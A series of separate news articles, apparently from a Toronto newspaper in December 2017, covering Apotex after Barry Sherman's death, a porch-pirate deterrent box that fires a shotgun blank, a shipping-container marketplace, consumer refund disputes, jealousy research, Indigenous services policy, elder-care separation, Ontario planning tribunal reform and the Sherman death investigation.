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Under Sherman, Apotex grew from a two-employee drug business he acquired from the estate of his uncle in the 1960s into a global organization with 11,000 people around the world. Shermans fortune was recently assessed by Canadian Business at $4.77 billion.

But even though Sherman stepped down as CEO in 2012 from the privately held firm he founded in 1974, he maintained full control of the capital stock of the holding company that owns Apotex Holdings, according to regulatory filings. He also reportedly remained close to daily operations.

In the longer term, though, the pharmaceutical giant must deal with the broader issues of pricing and growth. This is a challenging time at a challenging time for the generic drug industry, which is under pricing pressure amid a push for regulatory reforms to bring consumer drug costs down.

The positive: Analysts say generic prescriptions from firms such as Apotex have accounted for a larger share of total prescriptions dispensed. And Canadian generics prices have boosted industry revenue.

But provincial and territorial regulations for generic drug prices are likely to become even more stringent, dampening industry revenue growth, according to the 2016 report State of the Pharmaceutical Industry by research firm Research and Markets.

Under Sherman as CEO and then chair, part of the Apotex strategy has been to pursue a series of lawsuits against rivals and the federal government as it seeks to defend its market share.

In any case, Apotex says it remains committed to its Canadian roots, with 21 facilities across the country. As employees, we are proud of his tremendous accomplishments, honoured to have known him, and vow to carry on with the Apotex purpose in his honour, Apotex said on its website.

In a statement, meanwhile, Jim Keon, president of the Canadian Generic Pharmaceutical Association, said the organization and member companies are devastated by the news, calling Sherman an icon and pioneer in the Canadian generic pharmaceutical industry who made an enormous contribution to affordable and accessible medicines for Canadians and people across the globe.

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The more time and money Jaireme Barrow spent to keep people from swiping packages off his front porch, the angrier he got.

Hed show police in Tacoma, Wash., crystal-clear surveillance video of porch pirates strolling onto his front yard and then making off with what he could only assume were the Jeep parts and electronics hed paid for. But there were never any arrests.

As he grew more incensed, he realized he wanted more than identities or charges or even the stuff in the boxes.

He wanted revenge.

Then, the 34-year-old had an explosive idea.

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Amazon Key is not what its cracked up to be

Advice | Ellen Roseman: Your delivery is missing. Do you have to call the cops?

I was thinking, how could I scare them and make them drop my package and then never come to my front porch again, Barrow told the Washington Post. And I thought, Getting shot at is scary. Thatll make them think twice. 

With that, TheBlankBox was born.

Although Barrow has been tinkering with his device for nearly a year, interest has peaked this month as Americans increasingly turn to the internet to buy presents for the people they love but face the added worry that their gifts somehow wont make it.

Americans are shopping online as often as they take out the trash. According to the National Retail Federation, about 58 million Americans shopped only online from Thanksgiving Day to Cyber Monday, while 51 million shopped only in stores. An additional 64 million did both.

And more than 750 retailers participated in Free Shipping Day earlier this month, which one CBS affiliate said was meant to give consumers peace of mind knowing their order is guaranteed to be delivered by Christmas Eve.

Unless, of course, those dreaded porch pirates interfere.

Barrows concept for alleviating that anxiety is both simple and devious  if that word can be used to describe getting back at someone trying to rip you off.

The nondescript dummy box is placed in plain sight. When an unsuspecting thief lifts it, a 12-gauge shotgun blank goes off.

A video surveillance system such as Barrows  installed to shame thieves and capture their startled reactions for YouTube  is not included.

Cue the schadenfreude!

Its very loud but technically harmless, Barrow said.

But a police spokesperson in Tacoma, where Barrow lives, said the device as described to her by a reporter appears to be illegal. There are, however, no open cases against Barrow.

The earliest version of TheBlankBox was a Wile E. Coyote-ish fever dream involving bricks, fishing line, a wooden box, an aluminum carrying vessel and a small plate.

It had to be attached to a doorknob and was impractical for anyone who wanted to make regular use of a door without setting off a minor explosion.

Still, it gave Barrow two things his home security system had never been able to provide: a chuckle and solid evidence about the identity of the person pilfering his package.

The very first guy I did it to, he was so scared he dropped his cellphone in my front yard, Barrow told the Post. I gave it to the cops. Turns out, he lived, like, three blocks away from me. The man wasnt charged, Barrow said.

Since then, the design has evolved. Now its a self-contained device, involves no external strings and Barrow can use his front door without worrying about explosions. Hes trying to patent TheBlankBox and has built a website, cashing in his savings and going all in.

The cheapest version costs $60. He has also designed some slightly naughty T-shirts.

He says he has sold about 50 dummy boxes and had 477 preorders as of Monday. Barrow says hes shipping them as fast as he can make them, capitalizing on an untapped market as more and more people are becoming reliant on having boxes delivered to their door.

Droves of consumers are forgoing long lines, annoyingly cheery holiday music and the occasional Christmastime mall brawl in favour of online shopping.

But the changing consumer behaviour has sparked a new anxiety, especially for people who optimistically choose to have packages left at their front door: Once there, the packages are vulnerable.

Thieves who roam neighbourhoods looking for defenceless parcels have even earned a name and an Urban Dictionary entry: porch pirates.

According to USA Today, nearly half of Americans say they know someone who has had a package stolen; 30 per cent say it has happened to them.

On the expensive end, smart-lock technology may allow people to grant delivery drivers access to their homes, although that opens up another can of anxieties. And people can always play delivery tag with drivers, but that can erode the convenience that led to the online purchase in the first place.

Barrow acknowledges that potential buyers have brought up some practical considerations with the explosive device he makes in his garage.

Although gun blanks can hurt people, Barrow insists his contraption is completely safe  as long as the blanks are inside the box: They make a loud noise and nothing more.

And what of litigious would-be criminals tempted to sue after taking a stumble down porch stairs?

Barrow suggests tacking up a no trespassing sign and taping a note to the box that warns people to not move packages on the porch. That can inoculate a homeowner from lawsuits. Notifying delivery drivers doesnt hurt, either.

Police in Tacoma say Washington state law forbids people from assembling or shipping explosive devices without a valid license.

Even though its a blank, the way the device is made is actually illegal, said Loretta Cool, a police spokesperson. Barrow could also be held liable if someone gets hurt on his property during or after an explosion, she said.

Even more than him crossing the line, Im not sure if people realize that, even though this person is stealing something, he cant intentionally set them up to be hurt, Cool said.

She said police are not currently investigating Barrow because nobody has reported this. We have to have a victim.

Barrow, who says he has caught 20 would-be thieves in the act at his home, concedes that his not-quite-exploding box is an imperfect solution on a crowded porch of imperfect solutions.

But he says his device offers something others dont: the warm, fuzzy feeling you get when youve made a terrified thief sprint off your lawn.

On those rare instances when Barrow is at home during the day, he will hear a muffled explosion from his front porch  and smile.

One girl, she screamed so loud  it was instant karma, he said. Someone is trying to commit a crime and youre able to get back at them instantly. Its a satisfaction I cant describe.

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The now-vacant 100,000-square-foot lot at Bathurst and Front Sts. that was used by a slaughterhouse until 2014, and previously housed a smelting plant, has been an unpopular (and smelly) mainstay of its southwest downtown neighborhood for decades.

Two former residents of the area are aiming to change that. Matt Rubinoff and Tyler Keenan are working to transform it into a modular, shipping-container marketplace for community gathering, programming, retail and social enterprise called Stackt by the summer of 2018.

This project provides an opportunity for us to take a space in the heart of the city and re-imagine how we use that public space through experiences, through events, and through bringing people together, said Keenan, marketing head of Stackt.

Rubinoff, founder of Stackt, and Keenan have made an agreement with the city to lease the land at 28 Bathurst St. temporarily  until the province gives the go-ahead on a longer-term plan to turn the space into a park.

That means once Stackt opens for business in the summer of 2018 theyll have about two and a half years to make a splash in the neighbourhood before closing or moving somewhere else.

But far from deterring the founders, the temporary nature of Stackt is the lifeblood of their project.

They describe Stackt as an incubator and a testing ground  for both brands that partner with them and for themselves.

We want to be different here. Its always about that learning, discoverability piece with consumers in the end, Rubinoff said. The goal is that every time you come youre going to see something different.

Theyre offering companies and organizations flexible lease lengths and adjustable spaces, such that anchor tenants who have agreed to stay for the whole two-and-a-half year period will exist alongside a constantly evolving ecosystem of pop-up shops, service providers, and brands.

Keenan said its hard to compare the lease prices at Stackt to other locations because, at Stackt, they vary by number of shipping containers, and date ranges.

Based on the research weve done were comparable with the rest of the city, he said. While some retailers seeking long-term might be deterred by Stackts setup, Keenan said theyre not having difficulty on that front.

Thats where for us, were providing something thats a little bit different from the traditional model, he said. Where the trend has gone from a retail perspective is that brands want shorter-term opportunities.

Rubinoff and Keenan dont know yet exactly what the makeup of Stackt will be  and they dont plan to know until they open their doors and see how the city responds. They said about 15 per cent of the space will be dedicated to retail, while 85 per cent will go to culture and programming.

A craft brewery is one of the anchor tenants, they said, and theyre also working with fitness providers, urban farm companies, artists, event curators, non-profits and social enterprises.

Its nerve wracking and exciting being a platform for people to come in and test new things, Rubinoff said. We have almost 1,000 days to go and take those risks if we want to.

Thatll be made possible by the modularity of shipping containers, which are becoming a trend in temporary destinations. Market 707 at Dundas and Bathurst Sts. is already using shipping containers to house small businesses just south of Toronto Western Hospital.

Shipping containers can be outfitted for retail, office or meeting purposes, and combined to make larger spaces. For aesthetic and architectural purposes, they can also be stacked like blocks to create interesting and appealing structures.

Mike Layton, the city councillor who initially championed using the lot as a public space said hes excited about the opportunities Stackt offers on an interim basis.

The notion of using these containers has been around for a while but not at this scale, Layton said. Hes particularly excited about the prospect of Stackt attracting innovative businesses to the area.

That the large area will soon be a public space  first Stackt, then a park  is popular among residents of the area, which has become more dense in recent years due in large part to condo developments.

Weve seen developers put in stacks and stacks of condos without seeing great neighbourhoods, said Naveen Mathew Varghese, a real estate agent who lives at King West, just north of the site.

This is really, really good for the neighbourhood.

Travel agent Martino Daniels has lived in the Cityplace condo development for five years, after living in the suburbs previously.

I think this proposal is great, Daniels said. It provides some much-needed dining options in the area and is also an inexpensive way for entrepreneurs to open up new business ventures.

Rubinoff and Keenan said theyre open to expanding their idea if Stackt is a success, and that theyve already been approached by some other sites.

Our focus is on this project first and foremost, Keenan said. We only have the space for a limited amount of time. We want it to be inclusive  and I say that in terms of: we want to work with the city in defining what it is.

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Is a large company hanging on to your money when it should be giving it to you? A media intervention can help.

We recently came to the rescue of readers waiting for claims to be settled or refunds that had gone astray. The amounts added up to more than $20,000.

Allianz Global Assistance: Janet and Mike Stewart cancelled a two-week trip to Vancouver and Alaska after Mike was injured from several falls. They submitted an application for a refund under their travel insurance policy in mid-August.

I have done everything that was asked for, Janet Stewart said in November after going back to her doctor several times and paying fees for him to do paperwork that the company required.

Now Im told they need even further clarification and it has to be in a document. They refused to call the doctor for further information.

Once I contacted Allianz, the company agreed to deal directly with the doctor to complete the claims process.

A positive experience for our customers is our top priority, said Dan Keon, senior director, market management, at Allianz. We will review Mrs. Stewarts concerns internally to identify opportunities for service improvement.

One week later, Allianz told the couple it approved the claim and would send a cheque for more than $11,000 paid for a trip they couldnt take.

Samsung Canada: Karen Hibbard and her fiance bought a 75-inch Samsung TV, which they installed high on a wall. A few months later, they noticed a mark on the top right part of the screen that soon spread halfway across the screen.

Samsung sent a technician, who said the damage was their fault. They could have banged the wall or a childs toy could have hit the screen.

He said the panel was broken and wasnt covered, Hibbard said. The panel replacement would be $3,670 and was out of stock. We couldnt get it fixed even if we were willing to pay that insane amount.

A week after I contacted Samsung Canada, she heard some good news.

Quick update to let you know Samsung will be servicing the TV at no charge, said spokesperson Jennifer Groh.

Nissan Canada: James West had transmission problems with his 2013 Altima. After the transmission was replaced twice and the car was towed three times, Nissan promised to send $3,570 (half of his total costs) in August 2016.

He eventually received $1,250 from his Nissan dealer. But the remaining $2,500 was lost in the mail for more than seven months.

There have been lots of promises made by Nissan customer care, but not kept, he said. I can forward the 100 plus emails Ive sent them with no results.

On Dec. 6, Nissan Canada spokesman Didier Marsaud promised to check the status of the refund.

On Dec. 7, West picked up the $2,500 cheque. He received many apologies, but no explanation for the delay.

Im going to have time on my hands now Im not chasing after Nissan. For my New Years resolution, I may try to charge interest on the late payment, he said.

MGA Home Services: A regional manager visited Jade Chens home last October. She thought it was a routine inspection of her hot water tank.

He showed that the tank had sediments and asked me to sign an approval form to install a filter. The installers came the next day, she said.

I just had foot surgery, I wasnt mobile and I was shocked to find they installed three massive pieces of equipment that I was not informed about.

Ontario allows a 10-day cooling off period for door-to-door sales. She sent a registered letter to MGA within four days, saying she wanted to cancel the deal.

But the regional manager said shed have to pay $2,700 to remove the equipment or have a lien placed on the property.

According to MGA compliance manager, Chens contract didnt fall under the category of door-to-door sales.

Since we only do scheduled appointments, we have rights under the Consumer Protection Act to collect reasonable compensation for the services performed, the compliance manager said, adding that he was reviewing the complaint.

When I checked back a week later, Chen said MGA had removed the equipment at no cost. She thanked me for writing to the compliance manager and saving her the cost of hiring a lawyer.

News flash: Several readers followed my advice to ask their credit card issuers for a refund on a Sears Canada protection plan. The retailer stopped honouring them after going into liquidation in October.

I contacted RBC Visa and was connected to the dispute team, Pauline Strother said. I received a refund to my Visa account in early December, a nice surprise.

David House in Thunder Bay bought extended warranties at Sears on appliances he bought after renovating his kitchen in 2016.

We got $1,600 back from our credit card company, almost all our money apart from a couple of months worth of warranty, he said.

Catherine Green found that Presidents Choice Financial had denied a refund on a Sears protection plan bought in January 2016, since she had only 18 months to dispute a payment.

We have made an exception since this is a high-value customer, PC Financial spokeswoman Lana Gogas said after I asked the company to review her case.

Instead of a prorated refund, Green received PC points equivalent to the amount owed on her Sears plan and says she will donate them to a local food drive.

Note  January 16, 2017: This article was edited from a previous version to remove a name.

Ellen Roseman column runs Tuesday in Smart Money. You can reach her at eroseman@thestar.ca

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Growing up, Christmas Day was always a special time spent with family. Uncles, aunts and a gaggle of cousins, who lived across Toronto and Mississauga, would gather at a relatives home for a full day of eating, drinking and raucous laughter.

My dad and four of his siblings had immigrated to Canada from Portugal when they were teens and young adults. For them, getting together meant continuing an old family tradition in a new country and finding comfort as they thought of loved ones back home, including their father.

My grandfather, a widower, split his time between Toronto and the family homestead in Portugal, on occasion spending a white Christmas here. But not in 1976.

On Christmas Day that year, a phone call silenced the merriment of my familys festivities.

It was an uncle from Lisbon. He wasnt calling to wish us Merry Christmas, or Feliz Natal, but to alert his brothers and sisters that their father  my grandfather  was missing. On Christmas Eve, my grandfather had been tending to his property, which backed onto a river, and never returned home. Search crews scoured the river, fearful he had slipped down the embankment and drowned.

I was a toddler then and dont remember that particular Christmas. But over the years, Ive heard the stories. By all accounts, it was a devastating day. My grief-stricken dad and his siblings booked flights to Portugal, praying they would be returning for a successful search-and-rescue effort  not a funeral. Sadly, there was no Christmas miracle.

My grandfathers body was found a couple of days later down the river. He was buried Dec. 28, on his birthday. He would have been 69.

After that, Christmas took on even greater meaning for my family, with more reason to get together, to comfort each other and to soften their saudade, a Portuguese expression that refers to a deep melancholic longing for someone or something and feeling incomplete without it.

Still, those annual festivities didnt take on a sombre tone, at least not for us kids. My dad and his siblings always did their best to ensure Christmas was a heartwarming holiday, although Im certain it was with a heavy heart.

iteotonio@thestar.ca

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To poet John Dryden, jealousy is the jaundice of the soul. For poet and activist Maya Angelou, its like salt: a little can enhance the flavour but too much can spoil the pleasure. Anthropologist Margaret Mead called it the barometer of a lovers insecurity. German philosopher Friedrich Nietzsche described it as a scorpion turning its poisoned sting against itself. Theres even a Greek god of jealousy  Phthonos  who accompanied the goddess of love Aphrodite. His female counterpart was Nemesis, she of jealous retribution.

But to most of us, jealousy is just a midnight Facebook creep, or a twinge when we run into an ex on a date, or the mild thrill of watching a co-worker flirt with our partner at the office Christmas party. Its often part of dating.

Biological anthropologist Helen Fisher, senior research fellow at the Kinsey Institute in Indiana, sees an evolutionary reason in most of loves manifestations. In her book Anatomy of Love: A Natural History of Mating, Marriage, and Why We Stray, Fisher describes this intense human affliction as a combination of possessiveness and suspicion of a partner.

Its so powerful and primordial, Fisher says. Its probably an evolutionary adaptation to protect your resources.

Im convinced jealousy is biologically based. You certainly see it in every culture anthropologists have (studied). (Hence Meads poetic description.)

Jealousy is considered a complex emotion, as opposed to more primary emotions love and fear. The first MRI study on the neural correlates of jealousy was conducted in 2006 and showed different brain activity in men and women who were presented with jealousy-arousing sentences in a lab, such as my boyfriend telephones his ex-girlfriend every day or my girlfriend took an overnight trip with another man.

Men showed greater activation in the amygdala and hypothalamus, which are associated with processing basic emotions and with reproductive and aggressive behaviour. Women showed greater activation in the cortical regions and the part of the brain associated with deciphering trustworthiness and deception.

A 2016 study in Scientific Reports, an open-access part of the journal Nature, investigated whether the level of jealousy changed over time. It found that jealousy increased as a relationship solidified, according to brain scans of romantic partners at different stages.

Greater romantic happiness was correlated with greater jealousy. Activity in the basal ganglia, a deep-brain structure associated with emotional processing and executive function, was more notable in response to jealousy-inducing scenarios after a relationship was established. Emotional intensity was linked to romantic happiness, measured by activity in part of the prefrontal cortex.

Jealousy, or whats known as mate-guarding has been demonstrated in various species.

Dogs are known to snap at their owner or rival when their owner shows affection to another dog. Female apes will drive other females from family territory. Male bluebirds have been shown to pull the tail feathers from their mates and attack other males who come too close to the nest. A 2017 study in Frontiers in Ecology and Evolution showed male coppery titi monkeys, which are monogamous, would physically try to hold a mate back if a male rival was nearby. The jealous monkeys showed elevated levels of testosterone and cortisol, and activity in the part of the brain associated with social pain in humans known as the cingulate cortex.

Ive never seen a fish be jealous, but I wouldnt be surprised if they do some mate-guarding, Fisher says.

While mate-guarding can be harmless, it can also be dangerous. Studies have shown more men than women turn to violence when they feel betrayed, and jealousy is a cause of spousal homicide.

Jealousy is triggered in a variety of social contexts, not just romantic, though its nearly universal to lovers. A cluster of brain processes may be at work, depending on personality type.

You lie wide awake when youre jealous. You dont fall asleep when youre jealous. And youre certainly very anxious, Fisher says. That means brain regions linked to stimulants such as dopamine, epinephrine will likely be activated, as well as stress hormone cortisol. How an individual person reacts could involve testosterone, which is associated with aggression, or estrogen if jealousy results in a tearful breakdown or trying to talk it out, Fisher says.

Its hard to tell in the moment whether jealousy stems from insecurity, as most experts will say, or whether the feeling is a normal reaction to some kind of misbehaviour.

Danny Fong, 29, says he had been jealous most of his life.

Just hearing another guy was interested in his first girlfriend made him feel he had to prove his worth. Jealousy came in the form of fears  fear of abandonment, fear of not being good enough. With his current girlfriend, he has unlearned jealousy.

Fong attributes his recent epiphany to reading a book about personality types known as , as well as a particularly frank conversation with his girlfriend in which they overcame some perceived barriers to vulnerability.

Being emotionally conscious and available is the solution to most of the problems that cause anxiety in our heads, says Fong, a musician and a cappella performer. Unlearning happens when you take a step back from your own thoughts.

Not everyone is so enlightened, but jealousy is something polyamorous people also deal with up front.

Its the biggest hurdle for everyone, says Sasha OMarra, who has had both a girlfriend and a boyfriend for the past year. One is married and one sees other people. Its such a common human emotion  its so easy to slip into.

Accepting her girlfriend was married was somewhat easier than working through the jealousy of her boyfriend dating other people, she says. To her, jealousy feels like a hot, sick, tingly feeling, like when you find something out youre not supposed to know.

That leads to comparisons to other people, which often can lead to self-pity and self-criticism, says OMarra, 24, an advertising student at Humber College.

Eventually, I went, You know what? Me being upset with this isnt going to change it. And I dont really have the right to be upset about this. Now, she gets along with her girlfriends wife.

Some, though not all, poly relationships have a hierarchy with a primary partner, especially if there are children in the family. Some keep their relationships strictly separate, but some are more open to spending time together and are even friends.

This generosity and drive to ward off jealousy is known as compersion  defined as the feeling of joy associated with seeing a loved one feel joy, even with another lover  in polyamorous relationships. It involves a ton of communication and setting boundaries. Cheating is not infidelity but breaking the rules.

Its something monogamous couples can learn from.

In conventional dynamics we assume if your partner looks at someone else, that shows a lack of love for you, but in poly it doesnt have to, says Jilian Deri, a sociologist who wrote her PhD dissertation on jealousy and compersion in queer womens polyamorous relationships.

And poly people strive to examine the jealous feeling for whats beneath the immediate reaction.

Thats often the way you crack it, Deri says. In a poly dynamic if youre continually jealous, youre going to be miserable, so its something you have to rework.

The Science of Dating is an occasional series exploring the great experiment that is love and the human condition.

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Jane Philpott has a lengthy to-do list for 2018.

The federal Indigenous services minister has ambitious plans when it comes to ending water quality advisories in First Nations communities, closing the gap on Indigenous child welfare spending and reducing what she calls an abhorrent number of Indigenous children living in foster care.

One thing not on her list for the coming year is hearing the word no from anyone in her departments bureaucracy.

This coming year will be a test of a minister who, echoing a speaker at a conference last month, said she wanted to be part of the lets get s--- done attitude on Indigenous files.

Philpott is a key minister in a government often accused of over-promising and under-delivering on Indigenous reconciliation, showing a fondness for the symbolic over the substantive.

She didnt get that memo. Shes not just promising; shes guaranteeing.

As we spoke this week, Philpott sat at a desk with six multi-colour-coded spread sheets in front of her, detailing all 68 long-term drinking water advisories in communities directly funded by her department, with the dates the order went into effect, timelines for ending them and potential barriers in the way.

There are a total of 100 such advisories in First Nations communities including privately operated systems.

The federally funded systems will be cleared of all advisories by March 2021, she insists, and she is looking for qualified water operators who will stay in the communities.

The coming year will yield much progress, Philpott says, because in many communities construction has been completed and testing is underway.

I met with my department on this (Monday), she told me. I made it extremely clear that failure to meet this target is not an option.

She is prepared to provide detailed timelines to the media in late January.

She has called the rate of Indigenous child apprehension a humanitarian disaster. Indigenous children 14 and under make up 7.7 per cent of all children in this country, according to the 2016 census. But they represent 52 per cent of children in foster care.

In Manitoba the rate can be as high as 90 per cent, but the rate is anywhere from 60 to 80 per cent across western Canada.

It is positively abhorrent. There is clearly something very wrong, Philpott told me.

Babies and children continue to be taken from their homes and their culture, but she says that is not a solution. The system needs to solve the problems of poverty and sub-standard housing.

Rather than take a child from a home deemed overheated, buy an air conditioner; if the home is deemed substandard, provide better housing.

Instead of putting the child in foster care, deal with the underlying problem that may be endangering the childs welfare.

Poverty should never be a reason to take a child from its home, she says.

She has convened an emergency meeting on this issue early in the new year, bringing Indigenous leaders, the provinces and territories and child-services experts to the table.

Philpott finally withdrew a judicial review of a Canadian Human Rights Tribunal ruling that found the funding gap between Indigenous and non-Indigenous child welfare in this country was discriminatory. The cost of closing the gap has been pegged at up to $250 million per year. Philpotts officials could come back from consultations with a higher figure.

No matter. Philpott says that money will be in the 2018 budget.

To be sure, there are other priorities on her desk.

Life expectancy for First Nations and Inuit, is, on average, a decade shorter than non-Indigenous Canadians.

Diabetes rates are four times higher for the Indigenous population, the likelihood of dying from an opioid overdose is five times higher.

A push to have First Nations control First Nations education is showing promise.

But it is also up to Philpott to light a spark in a bureaucracy that has for years worked to thwart Indigenous progress, launching court challenges and slowing programs in the name of protecting the taxpayer.

Bureaucracies are not monolithic, as Philpott points out. They are composed of people who care and understand 150 years of injustices.

They smile, she says, when they are told to find a way to deliver a yes, instead of falling back on an automatic no.

Perhaps, but this is a big ship to turn in turbulent waters. The Liberal government cannot endure another year of dashed expectations on reconciliation.

We have to deliver, Philpott told me. The days of denial are behind us.

Time to get s--- done.

Tim Harper writes on national affairs. tjharper77@gmail.com, Twitter: @nutgraf1

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PERTH-ANDOVER, N.B.A New Brunswick couple bid a tearful goodbye this week, separated just days before Christmas after 73 years together.

Herbert and Audrey Goodine gave each other a peck on the lips and said goodbye Monday, moments before Herbert was driven to a new care residence about 45 minutes away.

The couple have been married for 69 years, spending the last three years together at the Victoria Villa Special Care Home in Perth-Andover, N.B.

But after a recent assessment of Herberts health, officials decided the home could no longer accommodate him because the 91-year-olds dementia had progressed to a point where he needs a higher level of care.

Dianne Phillips, the couples daughter, said she was told last Friday her father would have to move.

By Monday, a van carried him away to another home in Plaster Rock as Audrey stood by the window and watched him go.

I feel people need to know what a flawed system we have in place. Two words describe it unethical and cruel,  she said in a Facebook post.

This should never take place to another human again.

Phillips is upset the couple was separated a week before Christmas, saying its mentally and emotionally difficult for her parents who had, up until now, shared a room and the same bed at the villa.

Phillips said in the post that she understands her father requires a higher level of care, but felt the facility could have arranged for the couple to be separated after the holiday.

I listened to my mother weep and I could hear my father in the background, she said.

My mother said, Christmas is over for us now and this is the worst Christmas that we will ever have. Why could they not have waited till after the holidays. 

Jennifer Eagan of Victoria Villa told Global News she cannot comment on specific cases due to privacy, but stresses the home is a Level 2 facility for residents who need a little bit of supervision.

Phillips said her father was assessed as being Level 3, while her 89-year-old mother is Level 2.

The couple will be together for Christmas at their daughters home in Fredericton.

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After more than 100 years, the Ontario Municipal Board will come to an end.

But things wont change for years.

Queens Park voted last week to reform the provinces most powerful tribunal  responsible for land use planning disputes and how cities are built  and replace it with a new Local Planning Appeal Tribunal aimed at giving power for planning back to cities.

But regulations put forward by the province on how to transition to the new body mean potentially hundreds of applications currently being considered by Toronto staff will still be eligible for appeal under the old system, which has been favourable to developers.

And while city officials have championed the reforms, calling them long overdue, they say the transition plan will cause turmoil at city hall.

Well have the OMB with us for years or so, wreaking all kind of havoc, said North York Councillor John Filion, whose Willowdale community is one of several pockets under intense development pressure. If the government decided that the OMB was bad enough that it needed to be reformed, you have to wonder why theyre leaving it in place for so long. Youd think theyd want to minimize the damage.

It really looks like theyve stood there, held the door open for the developers.

The province, through a spokesperson for Minister for Municipal Affairs Bill Mauro, said the regulations are still out for consultation until early in the new year and that they will consider all feedback.

The province first outlined possible reforms to the tribunal in the fall of 2016 and announced their proposed changes in May, a move celebrated by city officials, urban planners, environmentalists and community groups.

The major detractors have been the development industry who warned that Not In My Backyard (NIMBY) attitudes would be allowed to rule supreme.

The new rules require city councils to make decisions that conform with provincial policies and the citys own rules. Appeals will only be heard on those grounds, making it a true appeals body for the first time in its century-long history.

Under the old system, if a developer didnt like a decision they could seek a new one at the OMB, which was guided under former rules to have regard for local decision-making but had the power to overturn council decisions after re-litigating the application.

A regulation put forward by the province as part of the reforms means all complete development applications submitted to the city before it received royal assent on Dec. 12 could be eligible for appeal to the old OMB system.

There are currently 1,177 major applications in the pipeline, according to the city planning division. They did not specify how many of those applications are currently considered complete.

While she remains optimistic developers will want to work with the city, Kerri Voumvakis, who is in charge of city planning policy, noted they continue to see an increasing number of appeals. The number more than doubled in 2017 over the same period last year.

Theres going to be a huge workload increase for the OMB, Voumvakis said.

At a development meeting in his busy Yonge-Eglinton area ward Wednesday night, Councillor Josh Matlow said he found out on his way in the front door that another application was being appealed.

This is an example where the developers application, while still half-baked, wasnt far out of the range for what I think city planning would eventually support, he said. We were having productive discussions.

An appeal at that stage takes the wind out of the sails of trying to find resolution between all parties when they go to the board and now everybody feels like theres a gun to their heads . . . Its happening over and over again.

The reason for reform, and the fear with the ongoing reign of the OMB, city officials say, is communities continue to buckle under growth without relief from problematic precedents set by the old tribunal. While waiting for change, they say, schools remain at capacity, there is an increasing lack of parks and recreation spaces, and packed subway cars continue to pass platforms teeming with commuters.

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The lights inside Barry and Honey Shermans multimillion-dollar home in a tony North York neighbourhood were beaming Monday night, two forensic vans and a Toronto police cruiser still parked outside as investigators continued their grim task of determining what, exactly, transpired in the final moments of one of Canadas richest couples inside 50 Old Colony Rd.

Into its fourth day Monday, the probe into the demise of Barry Sherman, the 75-year-old founder of generic drug giant Apotex, and his wife, Honey, 70, has attracted worldwide attention and sent shockwaves across the country, including among the political and social elite.

That the deaths are suspicious is both an understatement and their official status. As of Monday night, neither death had been classified as a homicide, despite the involvement of Toronto police homicide detectives. The squad officially took the lead of the probe Sunday evening, though it had been involved in the case since the couples bodies were discovered before noon Friday.

Read more:

Barry and Honey Sherman sued builders of North York home

Shermans 'were people who cared about other people'

Funeral for Barry and Honey Sherman to be held Thursday

While little information has formally been released by police, the details that have come out are beginning to provide some insight into the mysterious deaths  starting with its cause. Autopsy results released late Sunday reveal both Barry and Honey Sherman died from ligature neck compression.

The pathological term means either death from hanging or strangulation with a ligature. Former homicide investigators told the Star on Monday that marks on the neck can allow pathologists to make the distinction between manual strangulation and the use of a cord of some kind, like a rope.

These causes of death can be seen in homicides and suicides and rarely accidents, said Christopher Milroy, director of forensic pathology at the Ottawa Hospital, who is not involved in the Sherman investigation.

Hanging is normally a suicide. Ligature strangulation is most commonly seen in homicides, but may be seen in other manners of death, he said.

Speaking late Friday night to alleviate concerns in the neighbourhood, a Toronto police detective said they were not seeking a suspect. A police spokesperson said Monday that no further information could be provided than what was contained in a brief public release Sunday, which did not contain any information about police seeking a suspect.

A police source told the Star the couple were discovered by their real estate agent and found near their indoor lap pool, photos of which were recently included in a real estate listing for the home, valued at $6.9 million. Multiple news outlets have reported that the couple were found hanging; the Star has not independently confirmed this.

The Star and other news outlets, citing police sources, have reported an early theory for investigators had been that the deaths may have been a murder-suicide.

The Sherman family released a statement Saturday calling that theory a rumour, saying it was irresponsible that police sources have reportedly advised the media of a theory which neither their family, their friends nor their colleagues believe to be true.

Other possibilities are that the deaths are a double-homicide or suicides, said former police officers consulted by the Star on Monday. The exact circumstances of death may also end up undetermined.

The specialized team now conducting the probe is amassing the critical bits of information gathered from both the crime scene and the autopsy. In all suspicious death autopsies, investigators seek other clues that may be on the body, including signs of struggle. That could include skin cells of another person under the nails, scratches, unusual bruising  in this case, anything over and above the ligature neck compression.

Stomach contents, too, may provide clues in suspicious death cases, including insight into whether any drugs had been ingested, said Mark Mendelson, a former Toronto police homicide investigator who is now a security consultant.

Investigators are also awaiting the results of toxicological reports, including blood and urine samples, which would provide more information including about drugs, Mendelson said. These test results can take weeks or more, he said.

He added that the homicide units taking the lead in the case may simply mean that investigators who are most experienced in dealing with sudden unexpected deaths were needed.

Theyre the experts, and thats why its gone to them. If it was a homicide, they would be calling it one. But the investigation is still going on, he said.

Two deaths were reported at the home of Canadian billionaire Barry Sherman and his wife Honey. (The Canadian Press)

Meanwhile, police and forensics experts still at the scene are probably wrapping up their probe, the experts said. That includes a review of any available surveillance video either inside the Sherman residence, outside, or in the area; one neighbour told the Star that police had been by asking for security camera footage. They are also probably conducting a forensic analysis of the Shermans phones.

The crime scene will tell the story, said Dave Perry, a former Toronto police homicide detective who is now the CEO of Investigative Solutions Network, speaking generally about death investigations.

One thing that I learned in all my years of working in violent crime and homicide is that, forensically, its still quite amazing what we can learn at a crime scene, he said. Its some very old school techniques  footwear impressions, lighting up the place for any kind of forensic evidence or bodily fluids, finger prints and smears, and manner and mechanisms of the death.

Perry added that it is telling when deaths are not immediately deemed homicides and where suspects are not being sought and police say there is no public safety risk.

So that usually tells me immediately that whatever happened in that house is isolated to that house, Perry said.

Police will probably now speak with anyone who had been in contact with the Shermans right before their deaths: friends, family, neighbours and anyone who may have had access to the house, the investigative experts say.

A key part of suspicious death investigations is keeping an open mind, said Mark Valois, also a former Toronto police homicide cop who is now director of academic training at the Canadian Tactical Officers Association.

You step in, you scan the room from one end to the other, up and down, inside and out, do it again, do it 50 times if you have to, and just try not to overlook, keep your mind open to what the possibilities are, Valois said.

That includes a situation where officers arrive on the scene and find someone hanging.

One of the things that even the frontline officers are trained in is to not always assume that its a homicide  it might be a homicide to make it look like its a suicide, he said, speaking generally.

Among the big questions investigators in all homicides or suspicious deaths are grappling with is the why.

Motive is the piece that were always looking for, Perry said.

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In the days since their death, Barry and Honey Sherman have been remembered not only for their business success and incredible wealth, but their willingness to share it.

Those who knew the Shermans saw them as a pair of complementary opposites: she, the gregarious socialite, a dynamic member of various charity boards, skilled at raising the public profile of worthy causes; he, the driven business mind, taciturn and gruff, who chose to eschew the spotlight and the complications of a life lived in public.

